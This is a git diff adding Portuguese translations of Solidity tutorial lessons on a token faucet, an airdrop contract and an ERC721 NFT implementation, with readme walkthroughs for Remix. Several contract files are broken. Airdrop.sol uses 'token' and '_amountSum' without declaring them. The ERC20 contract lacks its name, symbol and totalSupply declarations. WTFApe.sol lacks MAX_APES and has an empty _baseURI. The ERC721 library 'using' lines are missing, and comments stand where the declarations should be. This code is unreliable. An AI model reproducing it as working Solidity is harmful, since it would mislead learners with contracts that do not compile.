objeto do contrato IERC20 + require(token.balanceOf(address(this)) >= amountAllowed, "Faucet Vazio!"); // o faucet está vazio + + token.transfer(msg.sender, amountAllowed); // enviar tokens + requestedAddress[msg.sender] = true; // registrar o endereço que solicitou + + emit SendToken(msg.sender, amountAllowed); // emite o evento SendToken +} +``` + +## Demonstração no Remix + +1. Primeiro, implantamos o contrato dos tokens ERC20, com nome e símbolo `WTF`, e criamos 10.000 unidades de tokens usando a função `mint`. + ![Implantar contrato ERC20](./img/32-1.png) + +2. Em seguida, implantamos o contrato do faucet, passando o endereço do contrato dos tokens ERC20 como parâmetro de inicialização. + ![Implantar contrato do Faucet](./img/32-2.png) + +3. Usamos a função `transfer()` do contrato dos tokens ERC20 para transferir 10.000 unidades de tokens para o endereço do contrato do faucet. + ![Transferir tokens para o Faucet](./img/32-3.png) + +4. Em uma nova conta, chamamos a função `requestTokens()` do contrato do faucet para receber os tokens. Podemos ver o evento `SendToken` sendo emitido no console. + ![Mudar de conta](./img/32-4.png) + + ![requestToken](./img/32-5.png) + +5. Usando a função `balanceOf` no contrato dos tokens ERC20, verificamos o saldo da conta que recebeu os tokens do faucet, que agora é de 100 unidades. A solicitação foi bem-sucedida! + ![Solicitação bem-sucedida](./img/32-6.png) + +## Conclusão + +Nesta aula, exploramos a história dos faucets de tokens e o contrato de faucet ERC20. Onde você acha que será o próximo faucet de Bitcoin? + +--- + diff --git a/Languages/pt-br/33_Airdrop/Airdrop.sol b/Languages/pt-br/33_Airdrop/Airdrop.sol new file mode 100644 index 000000000..b4b2348ed --- /dev/null +++ b/Languages/pt-br/33_Airdrop/Airdrop.sol @@ -0,0 +1,145 @@ +// SPDX-License-Identifier: MIT +// Por 0xAA +pragma solidity ^0.8.21; + +//importar IERC20 + +/// @notice Transfer ERC20 tokens to multiple addresses +contract Airdrop { + mapping(address => uint) failTransferList; + + /// @notice Transfer ERC20 tokens to multiple addresses, authorization is required before use. + /// + /// @param _token Endereço do token ERC20 a ser transferido + /// @param _addresses Array de endereços para o airdrop + /// @param _amounts Array de quantidades de tokens (quantidade de airdrop para cada endereço) + function multiTransferToken( + address _token, + address[] calldata _addresses, + uint256[] calldata _amounts + ) external { + // Verificar se os arrays _addresses e _amounts têm o mesmo comprimento + require( + _addresses.length == _amounts.length, + "Lengths of Addresses and Amounts NOT EQUAL" + ); + // Declaração da variável do contrato IERC + // Calcular o total de tokens airdrop + // Verificar: quantidade de tokens autorizados > quantidade total de tokens airdrop + require( + token.allowance(msg.sender, address(this)) > _amountSum, + "Need Approve ERC20 token" + ); + + // for loop, using the transferFrom function to send airdrop + for (uint256 i; i < _addresses.length; i++) { + token.transferFrom(msg.sender, _addresses[i], _amounts[i]); + } + } + + /// Transferindo ETH para vários endereços + function multiTransferETH( + address payable[] calldata _addresses, + uint256[] calldata _amounts + ) public payable { + // Verificar se os arrays _addresses e _amounts têm o mesmo comprimento + require( + _addresses.length == _amounts.length, + "Lengths of Addresses and Amounts NOT EQUAL" + ); + // Calcular o total de ETH airdrop + // Verificando se a quantidade de ETH recebida é igual à quantidade total do airdrop + require(msg.value == _amountSum, "Transfer amount error"); + // para loop, use a função transfer para enviar ETH + for (uint256 i = 0; i < _addresses.length; i++) { + // O código comentado apresenta riscos de ataque DoS e o uso do transfer também não é recomendado. + // Ataque DoS. Consulte https://github.com/AmazingAng/WTF-Solidity/blob/main/S09_DoS/readme.md para mais informações. + // _addresses[i].transfer(_amounts[i]); + (bool success, ) = _addresses[i].call{value: _amounts[i]}(""); + if (!success) { + failTransferList[_addresses[i]] = _amounts[i]; + } + } + } + + // Fornecer uma oportunidade de ação proativa para falhas na entrega de airdrops. + function withdrawFromFailList(address _to) public { + uint failAmount = failTransferList[msg.sender]; + require(failAmount > 0, "You are not in failed list"); + failTransferList[msg.sender] = 0; + (bool success, ) = _to.call{value: failAmount}(""); + require(success, "Fail withdraw"); + } + + // Função para somar elementos de um array + function getSum(uint256[] calldata _arr) public pure returns (uint sum) { + for (uint i = 0; i < _arr.length; i++) sum = sum + _arr[i]; + } +} + +// Contrato de token ERC20 +contract ERC20 is IERC20 { + mapping(address => uint256) public override balanceOf; + + mapping(address => mapping(address => uint256)) public override allowance; + + // Fornecimento total de tokens + + // Nome + // Símbolos + + // Número de casas decimais + + constructor(string memory name_, string memory symbol_) { + name = name_; + symbol = symbol_; + } + + // @dev Implement the `transfer` function, logic for token transfer + function transfer( + address recipient, + uint amount + ) external override returns (bool) { + balanceOf[msg.sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(msg.sender, recipient, amount); + return true; + } + + // @dev Implement the `approve` function, token authorization logic + function approve( + address spender, + uint amount + ) external override returns (bool) { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } + + // @dev Implement the `transferFrom` function, which handles token transfer with authorization + function transferFrom( + address sender, + address recipient, + uint amount + ) external override returns (bool) { + allowance[sender][msg.sender] -= amount; + balanceOf[sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(sender, recipient, amount); + return true; + } + + // @dev Cunhar tokens e transferir do endereço `0` para o endereço do chamador + function mint(uint amount) external { + balanceOf[msg.sender] += amount; + totalSupply += amount; + emit Transfer(address(0), msg.sender, amount); + } + + // @dev Destruir tokens, transferindo-os do endereço do chamador para o endereço `0` + function burn(uint amount) external { + balanceOf[msg.sender] -= amount; + totalSupply -= amount; + emit Transfer(msg.sender, address(0), amount); + } +} diff --git a/Languages/pt-br/33_Airdrop/IERC20.sol b/Languages/pt-br/33_Airdrop/IERC20.sol new file mode 100644 index 000000000..8ce69f3ab --- /dev/null +++ b/Languages/pt-br/33_Airdrop/IERC20.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +// WTF Solidity por 0xAA + +pragma solidity ^0.8.21; + +/** + * @dev Contrato de interface ERC20. + */ +interface IERC20 { + /** + * @dev Condição de liberação: quando a moeda em unidades `value` é transferida de uma conta (`from`) para outra conta (`to`). + */ + event Transfer(address indexed from, address indexed to, uint256 value); + + /** + * @dev Condição de liberação: quando a moeda em unidades `value` é transferida da conta (`owner`) para outra conta (`spender`). + */ + event Approval(address indexed owner, address indexed spender, uint256 value); + + /** + * @dev Retorna o fornecimento total de tokens. + */ + function totalSupply() external view returns (uint256); + + /** + * @dev Retorna a quantidade de tokens que a conta `account` possui. + */ + function balanceOf(address account) external view returns (uint256); + + /** + * @dev Transferir `amount` unidades de token da conta do chamador para a conta `to`. + * + * Se for bem-sucedido, retorna `true`. + * + * Emite o evento {Transfer}. + */ + function transfer(address to, uint256 amount) external returns (bool); + + /** + * @dev Retorna a quantidade de tokens que o titular da conta `owner` autorizou o titular da conta `spender` a gastar, que por padrão é 0. + * + * A permissão de gasto é alterada quando o método {approve} ou {transferFrom} é chamado. + */ + function allowance(address owner, address spender) external view returns (uint256); + + /** + * @dev O chamador da conta autoriza a conta `spender` a gastar `amount` tokens. + * + * Retorna `true` se for bem-sucedido. + * + * Emite o evento {Approval}. + */ + function approve(address spender, uint256 amount) external returns (bool); + + /** + * @dev Transfere `amount` de tokens da conta `from` para a conta `to`, utilizando o mecanismo de autorização. A quantidade transferida será deduzida da permissão do chamador. + * + * Retorna `true` se a transferência for bem-sucedida. + * + * Emite o evento {Transfer}. + */ + function transferFrom( + address from, + address to, + uint256 amount + ) external returns (bool); +} \ No newline at end of file diff --git a/Languages/pt-br/33_Airdrop/img/33-1.png b/Languages/pt-br/33_Airdrop/img/33-1.png new file mode 100644 index 000000000..b3398f788 Binary files /dev/null and b/Languages/pt-br/33_Airdrop/img/33-1.png differ diff --git a/Languages/pt-br/33_Airdrop/img/33-2.png b/Languages/pt-br/33_Airdrop/img/33-2.png new file mode 100644 index 000000000..92bc63af9 Binary files /dev/null and b/Languages/pt-br/33_Airdrop/img/33-2.png differ diff --git a/Languages/pt-br/33_Airdrop/img/33-3.png b/Languages/pt-br/33_Airdrop/img/33-3.png new file mode 100644 index 000000000..824182401 Binary files /dev/null and b/Languages/pt-br/33_Airdrop/img/33-3.png differ diff --git a/Languages/pt-br/33_Airdrop/img/33-4.png b/Languages/pt-br/33_Airdrop/img/33-4.png new file mode 100644 index 000000000..4d6d5897c Binary files /dev/null and b/Languages/pt-br/33_Airdrop/img/33-4.png differ diff --git a/Languages/pt-br/33_Airdrop/img/33-5.png b/Languages/pt-br/33_Airdrop/img/33-5.png new file mode 100644 index 000000000..6544aa864 Binary files /dev/null and b/Languages/pt-br/33_Airdrop/img/33-5.png differ diff --git a/Languages/pt-br/33_Airdrop/img/33-6.png b/Languages/pt-br/33_Airdrop/img/33-6.png new file mode 100644 index 000000000..d4b265d24 Binary files /dev/null and b/Languages/pt-br/33_Airdrop/img/33-6.png differ diff --git a/Languages/pt-br/33_Airdrop/readme.md b/Languages/pt-br/33_Airdrop/readme.md new file mode 100644 index 000000000..6646efeb3 --- /dev/null +++ b/Languages/pt-br/33_Airdrop/readme.md @@ -0,0 +1,124 @@ +# 33. Contrato de Airdrop + +Eu recentemente tenho revisado e aprendido Solidity novamente, reforçando os detalhes e escrevendo um "Guia de Iniciação Rápida ao Solidity" para iniciantes (programadores experientes podem procurar outros tutoriais), com atualizações semanais de 1 a 3 aulas. + +Siga-me no Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Junte-se à comunidade de Cientistas do WTF, com métodos para ingressar no grupo do WhatsApp: [Link](https://discord.gg/5akcruXrsk) + +Todo o código e tutorial estão disponíveis no Github (Certificação do curso com 1024 estrelas, Comunidade NFT com 2048 estrelas): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +No mundo das criptomoedas, uma das coisas mais emocionantes é receber um airdrop, uma espécie de "presente" surpresa. Nesta aula, aprenderemos como usar um contrato inteligente para enviar airdrops de tokens ERC20. + +## Airdrop + +O airdrop é uma estratégia de marketing comum no mundo cripto, onde o projeto distribui tokens gratuitamente para um grupo específico de usuários. Para se qualificar para um airdrop, os usuários geralmente precisam concluir algumas tarefas simples, como testar um produto, compartilhar notícias ou indicar amigos. As empresas podem conseguir usuários engajados com os airdrops, enquanto os usuários recebem uma recompensa. Uma situação vantajosa para ambos os lados. + +Como seria inviável para o projeto transferir tokens individualmente para cada usuário que recebe um airdrop, utilizar um contrato inteligente para realizar a distribuição em massa pode aumentar significativamente a eficiência dos airdrops. + +### Contrato de Airdrop + +A lógica por trás de um contrato de airdrop é bastante simples: através de um loop, é possível enviar tokens ERC20 para múltiplos endereços em uma única transação. O contrato inclui duas funções: + +- Função `getSum()`: Retorna a soma de um array de números uint. + +```solidity +// Função para calcular a soma de um array +function getSum(uint256[] calldata _arr) public pure returns(uint sum) { + for(uint i = 0; i < _arr.length; i++) + sum = sum + _arr[i]; +} +``` + +- Função `multiTransferToken()`: Envia airdrops de tokens ERC20 e possui 3 parâmetros: + + - `_token`: Endereço do contrato do token (tipo `address`) + - `_addresses`: Array de endereços dos destinatários dos airdrops (`address[]`) + - `_amounts`: Array com as quantidades dos airdrops para cada endereço (`uint[]`) + + Esta função possui duas verificações: a primeira `require` verifica se os arrays `_addresses` e `_amounts` têm o mesmo comprimento; a segunda `require` verifica se a quantidade de tokens a serem distribuídos é menor ou igual à autorização concedida ao contrato de airdrop. + + ```solidity + /// @notice Transfere tokens ERC20 para vários endereços, requer autorização prévia + /// + /// @param _token Endereço do token ERC20 + /// @param _addresses Array de endereços + /// @param _amounts Array de quantidades de tokens (para cada endereço) + function multiTransferToken( + address _token, + address[] calldata _addresses, + uint256[] calldata _amounts + ) external { + require(_addresses.length == _amounts.length, "Comprimentos de Endereços e Quantidades Diferentes"); + IERC20 token = IERC20(_token); + uint _amountSum = getSum(_amounts); + require(token.allowance(msg.sender, address(this)) >= _amountSum, "Precisa Autorizar o Token ERC20"); + + for (uint8 i; i < _addresses.length; i++) { + token.transferFrom(msg.sender, _addresses[i], _amounts[i]); + } + } + ``` + +- Função `multiTransferETH()`: Envia airdrops de ETH e possui 2 parâmetros: + + - `_addresses`: Array de endereços dos destinatários dos airdrops (`address[]`) + - `_amounts`: Array com as quantidades dos airdrops para cada endereço (`uint[]`) + + ```solidity + /// Transfere ETH para vários endereços + function multiTransferETH( + address payable[] calldata _addresses, + uint256[] calldata _amounts + ) public payable { + require(_addresses.length == _amounts.length, "Comprimentos de Endereços e Quantidades Diferentes"); + uint _amountSum = getSum(_amounts); + require(msg.value == _amountSum, "Erro no valor transferido"); + + for (uint256 i = 0; i < _addresses.length; i++) { + (bool success, ) = _addresses[i].call{value: _amounts[i]}(""); + if (!success) { + failTransferList[_addresses[i]] = _amounts[i]; + } + } + } + ``` + +### Prática do Airdrop + +1. Deploy de um contrato de token ERC20 e mint de 10000 unidades de token. + +![Deploy de token ERC20](./img/33-1.png) + +![Mint](./img/33-2.png) + +2. Deploy do contrato de airdrop. + +![Deploy do contrato de airdrop](./img/33-3.png) + +3. Usar a função `approve()` do contrato ERC20 para autorizar o contrato de airdrop a transferir 10000 unidades do token. + +![Autorizar contrato de airdrop](./img/33-4.png) + +4. Executar a função `multiTransferToken()` do contrato de airdrop para realizar o airdrop. Preencha os parâmetros `_token`, `_addresses` e `_amounts` como indicado abaixo: + +``` +// Preencher _addresses +["0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2", "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4"] + +// Preencher _amounts +[100, 200] +``` + +![Airdrop](./img/33-5.png) + +5. Usar a função `balanceOf()` do contrato ERC20 para verificar o saldo dos usuários que receberam o airdrop. Os saldos deverão ser atualizados para `100` e `200`, indicando o sucesso do airdrop. + +![Verificar saldo dos usuários do airdrop](./img/33-6.png) + +## Conclusão + +Nesta aula, aprendemos como criar um contrato de airdrop de tokens ERC20 usando Solidity, aumentando significativamente a eficiência na distribuição de airdrops. Qual foi o maior airdrop que você já recebeu? + diff --git a/Languages/pt-br/34_ERC721/Address.sol b/Languages/pt-br/34_ERC721/Address.sol new file mode 100644 index 000000000..1bd7c37b5 --- /dev/null +++ b/Languages/pt-br/34_ERC721/Address.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.1; + +// Biblioteca de Endereços +library Address { + // Usando extcodesize para verificar se um endereço é um contrato + function isContract(address account) internal view returns (bool) { + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } +} diff --git a/Languages/pt-br/34_ERC721/ERC721.sol b/Languages/pt-br/34_ERC721/ERC721.sol new file mode 100644 index 000000000..9ca92a5cc --- /dev/null +++ b/Languages/pt-br/34_ERC721/ERC721.sol @@ -0,0 +1,264 @@ +// SPDX-License-Identifier: MIT +// por 0xAA +pragma solidity ^0.8.21; + +import "./IERC165.sol"; +import "./IERC721.sol"; +import "./IERC721Receiver.sol"; +import "./IERC721Metadata.sol"; +import "./Address.sol"; +import "./String.sol"; + +contract ERC721 is IERC721, IERC721Metadata{ + // Usando a biblioteca Address, use isContract para verificar se um endereço é um contrato + // Importando a biblioteca String, + + // Token nome + string public override name; + // Token código + string public override symbol; + // Mapeamento do tokenId para o endereço do proprietário + mapping(uint => address) private _owners; + // mapeamento da quantidade de posições de 'address' para a quantidade de posições em '持仓数量' + mapping(address => uint) private _balances; + // Mapeamento de autorização do tokenID para o endereço autorizado + mapping(uint => address) private _tokenApprovals; + // Mapeamento de autorização em lote do endereço do proprietário para o endereço do operador. + mapping(address => mapping(address => bool)) private _operatorApprovals; + + /** + * Construtor, inicializa `name` e `symbol`. + */ + constructor(string memory name_, string memory symbol_) { + name = name_; + symbol = symbol_; + } + + // Implementação do método supportsInterface da interface IERC165 + function supportsInterface(bytes4 interfaceId) + external + pure + override + returns (bool) + { + return + interfaceId == type(IERC721).interfaceId || + interfaceId == type(IERC165).interfaceId || + interfaceId == type(IERC721Metadata).interfaceId; + } + + // Implementação do balanceOf do IERC721, utilizando a variável _balances para consultar o saldo do endereço do proprietário. + function balanceOf(address owner) external view override returns (uint) { + require(owner != address(0), "owner = zero address"); + return _balances[owner]; + } + + // Implementação do ownerOf do IERC721, utilizando a variável _owners para consultar o proprietário do tokenId. + function ownerOf(uint tokenId) public view override returns (address owner) { + owner = _owners[tokenId]; + require(owner != address(0), "token doesn't exist"); + } + + // Implementação do isApprovedForAll do IERC721, utilizando a variável _operatorApprovals para verificar se o endereço do proprietário concedeu autorização em lote para o endereço do operador para os NFTs que ele possui. + function isApprovedForAll(address owner, address operator) + external + view + override + returns (bool) + { + return _operatorApprovals[owner][operator]; + } + + // Implemente o setApprovalForAll do IERC721, autorizando todos os tokens detidos para o endereço do operador. Chame a função _setApprovalForAll. + function setApprovalForAll(address operator, bool approved) external override { + _operatorApprovals[msg.sender][operator] = approved; + emit ApprovalForAll(msg.sender, operator, approved); + } + + // Implemente o método getApproved da IERC721, utilizando a variável _tokenApprovals para consultar o endereço autorizado do tokenId. + function getApproved(uint tokenId) external view override returns (address) { + require(_owners[tokenId] != address(0), "token doesn't exist"); + return _tokenApprovals[tokenId]; + } + + // Função de autorização. Através da manipulação de _tokenApprovals, autoriza o endereço a operar o tokenId e emite o evento Approval. + function _approve( + address owner, + address to, + uint tokenId + ) private { + _tokenApprovals[tokenId] = to; + emit Approval(owner, to, tokenId); + } + + // Implemente o método approve do IERC721 para autorizar o tokenId para o endereço 'to'. Condições: 'to' não é o proprietário e 'msg.sender' é o proprietário ou um endereço autorizado. Chame a função _approve. + function approve(address to, uint tokenId) external override { + address owner = _owners[tokenId]; + require( + msg.sender == owner || _operatorApprovals[owner][msg.sender], + "not owner nor approved for all" + ); + _approve(owner, to, tokenId); + } + + // Verifique se o endereço do spender pode usar o tokenId (deve ser o proprietário ou um endereço autorizado) + function _isApprovedOrOwner( + address owner, + address spender, + uint tokenId + ) private view returns (bool) { + return (spender == owner || + _tokenApprovals[tokenId] == spender || + _operatorApprovals[owner][spender]); + } + + /* + * Função de transferência. Transfere o tokenId de from para to, ajustando as variáveis _balances e _owner, e emite o evento Transfer. + * Condições: + * 1. tokenId é possuído por from + * 2. to não é um endereço 0 + */ + function _transfer( + address owner, + address from, + address to, + uint tokenId + ) private { + require(from == owner, "not owner"); + require(to != address(0), "transfer to the zero address"); + + _approve(owner, address(0), tokenId); + + _balances[from] -= 1; + _balances[to] += 1; + _owners[tokenId] = to; + + emit Transfer(from, to, tokenId); + } + + // Implementação do transferFrom do IERC721, uma transferência não segura, não recomendada para uso. Chama a função _transfer. + function transferFrom( + address from, + address to, + uint tokenId + ) external override { + address owner = ownerOf(tokenId); + require( + _isApprovedOrOwner(owner, msg.sender, tokenId), + "not owner nor approved" + ); + _transfer(owner, from, to, tokenId); + } + + /** + * Transferência segura, transferindo com segurança o token de tokenId de from para to, verificando se o receptor do contrato entende o protocolo ERC721 para evitar que o token seja bloqueado permanentemente. Chama a função _transfer e _checkOnERC721Received. Condições: + * from não pode ser um endereço 0. + * to não pode ser um endereço 0. + * O token de tokenId deve existir e ser de propriedade de from. + * Se to for um contrato inteligente, ele deve suportar IERC721Receiver-onERC721Received. + */ + function _safeTransfer( + address owner, + address from, + address to, + uint tokenId, + bytes memory _data + ) private { + _transfer(owner, from, to, tokenId); + require(_checkOnERC721Received(from, to, tokenId, _data), "not ERC721Receiver"); + } + + /** + * Implementa o safeTransferFrom do IERC721, uma transferência segura que chama a função _safeTransfer. + */ + function safeTransferFrom( + address from, + address to, + uint tokenId, + bytes memory _data + ) public override { + address owner = ownerOf(tokenId); + require( + _isApprovedOrOwner(owner, msg.sender, tokenId), + "not owner nor approved" + ); + _safeTransfer(owner, from, to, tokenId, _data); + } + + // Função sobrecarregada safeTransferFrom + function safeTransferFrom( + address from, + address to, + uint tokenId + ) external override { + safeTransferFrom(from, to, tokenId, ""); + } + + /** + * Função de cunhagem. Cunha o tokenId ajustando as variáveis _balances e _owners e transfere para o endereço 'to', liberando o evento Transfer. + * Esta função de cunhagem pode ser chamada por qualquer pessoa, mas é recomendado que os desenvolvedores a reescrevam e adicionem algumas condições. + * Condições: + * 1. O tokenId ainda não existe. + * 2. 'to' não é um endereço 0. + */ + function _mint(address to, uint tokenId) internal virtual { + require(to != address(0), "mint to zero address"); + require(_owners[tokenId] == address(0), "token already minted"); + + _balances[to] += 1; + _owners[tokenId] = to; + + emit Transfer(address(0), to, tokenId); + } + + // Função de destruição, destrói o tokenId ajustando as variáveis _balances e _owners, e libera o evento Transfer. Condição: tokenId existe. + function _burn(uint tokenId) internal virtual { + address owner = ownerOf(tokenId); + require(msg.sender == owner, "not owner of token"); + + _approve(owner, address(0), tokenId); + + _balances[owner] -= 1; + delete _owners[tokenId]; + + emit Transfer(owner, address(0), tokenId); + } + + // _checkOnERC721Received: função usada para chamar o onERC721Received do IERC721Receiver quando 'to' é um contrato, evitando que o tokenId seja acidentalmente enviado para o vazio. + function _checkOnERC721Received( + address from, + address to, + uint tokenId, + bytes memory _data + ) private returns (bool) { + if (to.isContract()) { + return + IERC721Receiver(to).onERC721Received( + msg.sender, + from, + tokenId, + _data + ) == IERC721Receiver.onERC721Received.selector; + } else { + return true; + } + } + + /** + * Implementa a função tokenURI da interface IERC721Metadata para consultar metadados. + */ + function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { + require(_owners[tokenId] != address(0), "Token Not Exist"); + + string memory baseURI = _baseURI(); + return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; + } + + /** + * Calculando o BaseURI de {tokenURI}, onde tokenURI é a concatenação de baseURI e tokenId, que precisa ser reescrito pelo desenvolvedor. + * O baseURI do BAYC é ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + */ + function _baseURI() internal view virtual returns (string memory) { + return ""; + } +} diff --git a/Languages/pt-br/34_ERC721/IERC165.sol b/Languages/pt-br/34_ERC721/IERC165.sol new file mode 100644 index 000000000..ac3cfe95e --- /dev/null +++ b/Languages/pt-br/34_ERC721/IERC165.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +/** + * @dev Interface padrão ERC165, consulte + * https://eips.ethereum.org/EIPS/eip-165[EIP]. + * + * Contratos podem declarar interfaces suportadas para que outros contratos possam verificar. + * + */ +interface IERC165 { + /** + * @dev Se o contrato implementar o `interfaceId` de consulta, retorna verdadeiro + * Regras detalhadas em: https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[Seção EIP] + * + */ + function supportsInterface(bytes4 interfaceId) external view returns (bool); +} \ No newline at end of file diff --git a/Languages/pt-br/34_ERC721/IERC721.sol b/Languages/pt-br/34_ERC721/IERC721.sol new file mode 100644 index 000000000..5b14beccd --- /dev/null +++ b/Languages/pt-br/34_ERC721/IERC721.sol @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "./IERC165.sol"; + +/** + * @dev Interface padrão ERC721. + */ +interface IERC721 is IERC165 { + event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); + event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); + event ApprovalForAll(address indexed owner, address indexed operator, bool approved); + + function balanceOf(address owner) external view returns (uint256 balance); + + function ownerOf(uint256 tokenId) external view returns (address owner); + + function safeTransferFrom( + address from, + address to, + uint256 tokenId, + bytes calldata data + ) external; + + function safeTransferFrom( + address from, + address to, + uint256 tokenId + ) external; + + function transferFrom( + address from, + address to, + uint256 tokenId + ) external; + + function approve(address to, uint256 tokenId) external; + + function setApprovalForAll(address operator, bool _approved) external; + + function getApproved(uint256 tokenId) external view returns (address operator); + + function isApprovedForAll(address owner, address operator) external view returns (bool); +} diff --git a/Languages/pt-br/34_ERC721/IERC721Metadata.sol b/Languages/pt-br/34_ERC721/IERC721Metadata.sol new file mode 100644 index 000000000..7745bc42c --- /dev/null +++ b/Languages/pt-br/34_ERC721/IERC721Metadata.sol @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IERC721Metadata { + function name() external view returns (string memory); + + function symbol() external view returns (string memory); + + function tokenURI(uint256 tokenId) external view returns (string memory); +} \ No newline at end of file diff --git a/Languages/pt-br/34_ERC721/IERC721Receiver.sol b/Languages/pt-br/34_ERC721/IERC721Receiver.sol new file mode 100644 index 000000000..ecf0d5e2f --- /dev/null +++ b/Languages/pt-br/34_ERC721/IERC721Receiver.sol @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +// Interface do receptor ERC721: o contrato deve implementar esta interface para receber transferências seguras de ERC721 +interface IERC721Receiver { + function onERC721Received( + address operator, + address from, + uint tokenId, + bytes calldata data + ) external returns (bytes4); +} \ No newline at end of file diff --git a/Languages/pt-br/34_ERC721/String.sol b/Languages/pt-br/34_ERC721/String.sol new file mode 100644 index 000000000..3c88cdb0b --- /dev/null +++ b/Languages/pt-br/34_ERC721/String.sol @@ -0,0 +1,75 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contratos (última atualização v4.7.0) (utils/Strings.sol) + +pragma solidity ^0.8.21; + +/** + * @dev Operações de string. + */ +library Strings { + bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; + uint8 private constant _ADDRESS_LENGTH = 20; + + /** + * @dev Converte um `uint256` para sua representação decimal em `string` ASCII. + */ + function toString(uint256 value) internal pure returns (string memory) { + // Inspirado na implementação da OraclizeAPI - licença MIT + // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol + + if (value == 0) { + return "0"; + } + uint256 temp = value; + uint256 digits; + while (temp != 0) { + digits++; + temp /= 10; + } + bytes memory buffer = new bytes(digits); + while (value != 0) { + digits -= 1; + buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); + value /= 10; + } + return string(buffer); + } + + /** + * @dev Converte um `uint256` para sua representação hexadecimal em `string` ASCII. + */ + function toHexString(uint256 value) internal pure returns (string memory) { + if (value == 0) { + return "0x00"; + } + uint256 temp = value; + uint256 length = 0; + while (temp != 0) { + length++; + temp >>= 8; + } + return toHexString(value, length); + } + + /** + * @dev Converte um `uint256` para sua representação hexadecimal `string` ASCII com comprimento fixo. + */ + function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { + bytes memory buffer = new bytes(2 * length + 2); + buffer[0] = "0"; + buffer[1] = "x"; + for (uint256 i = 2 * length + 1; i > 1; --i) { + buffer[i] = _HEX_SYMBOLS[value & 0xf]; + value >>= 4; + } + require(value == 0, "Strings: hex length insufficient"); + return string(buffer); + } + + /** + * @dev Converte um `endereço` com comprimento fixo de 20 bytes para sua representação hexadecimal `string` não checksummed ASCII. + */ + function toHexString(address addr) internal pure returns (string memory) { + return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH); + } +} \ No newline at end of file diff --git a/Languages/pt-br/34_ERC721/WTFApe.sol b/Languages/pt-br/34_ERC721/WTFApe.sol new file mode 100644 index 000000000..8ab6d8633 --- /dev/null +++ b/Languages/pt-br/34_ERC721/WTFApe.sol @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +// por 0xAA +pragma solidity ^0.8.21; + +import "./ERC721.sol"; + +contract WTFApe is ERC721{ + // Total + + // Construtor + constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_){ + } + + //O baseURI do BAYC é ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + function _baseURI() internal pure override returns (string memory) { + //QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + } + + // Função de construção + function mint(address to, uint tokenId) external { + require(tokenId >= 0 && tokenId < MAX_APES, "tokenId out of range"); + _mint(to, tokenId); + } +} \ No newline at end of file diff --git a/Languages/pt-br/34_ERC721/img/34-1.png b/Languages/pt-br/34_ERC721/img/34-1.png new file mode 100644 index 000000000..fec4d4359 Binary files /dev/null and b/Languages/pt-br/34_ERC721/img/34-1.png differ diff --git a/Languages/pt-br/34_ERC721/img/34-2.png b/Languages/pt-br/34_ERC721/img/34-2.png new file mode 100644 index 000000000..4de29e274 Binary files /dev/null and b/Languages/pt-br/34_ERC721/img/34-2.png differ diff --git a/Languages/pt-br/34_ERC721/img/34-3.png b/Languages/pt-br/34_ERC721/img/34-3.png new file mode 100644 index 000000000..1fb89cfd2 Binary files /dev/null and b/Languages/pt-br/34_ERC721/img/34-3.png differ diff --git a/Languages/pt-br/34_ERC721/img/34-4.png b/Languages/pt-br/34_ERC721/img/34-4.png new file mode 100644 index 000000000..87d5aae14 Binary files /dev/null and b/Languages/pt-br/34_ERC721/img/34-4.png differ diff --git a/Languages/pt-br/34_ERC721/img/34-5.png b/Languages/pt-br/34_ERC721/img/34-5.png new file mode 100644 index 000000000..dfbcb9a87 Binary files /dev/null and b/Languages/pt-br/34_ERC721/img/34-5.png differ diff --git a/Languages/pt-br/34_ERC721/readme.md b/Languages/pt-br/34_ERC721/readme.md new file mode 100644 index 000000000..f5be4d88d --- /dev/null +++ b/Languages/pt-br/34_ERC721/readme.md @@ -0,0 +1,501 @@ +--- +title: 34. ERC721 +tags: + - solidity + - aplicação + - wtfacademy + - ERC721 + - ERC165 + - OpenZeppelin +--- + +# WTF Introdução Simples ao Solidity: 34. ERC721 + +Recentemente, tenho estudado Solidity novamente para revisar os detalhes e escrever um "WTF Introdução Simples ao Solidity" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão lançadas de 1 a 3 aulas por semana. + +Siga-me no Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Junte-se à comunidade WTF Scientists, há um método para entrar no grupo do WeChat: [link](https://discord.gg/5akcruXrsk) + +Todo o código e tutoriais estão disponíveis no GitHub (1024 estrelas para obter certificação do curso, 2048 estrelas para obter um NFT da comunidade): 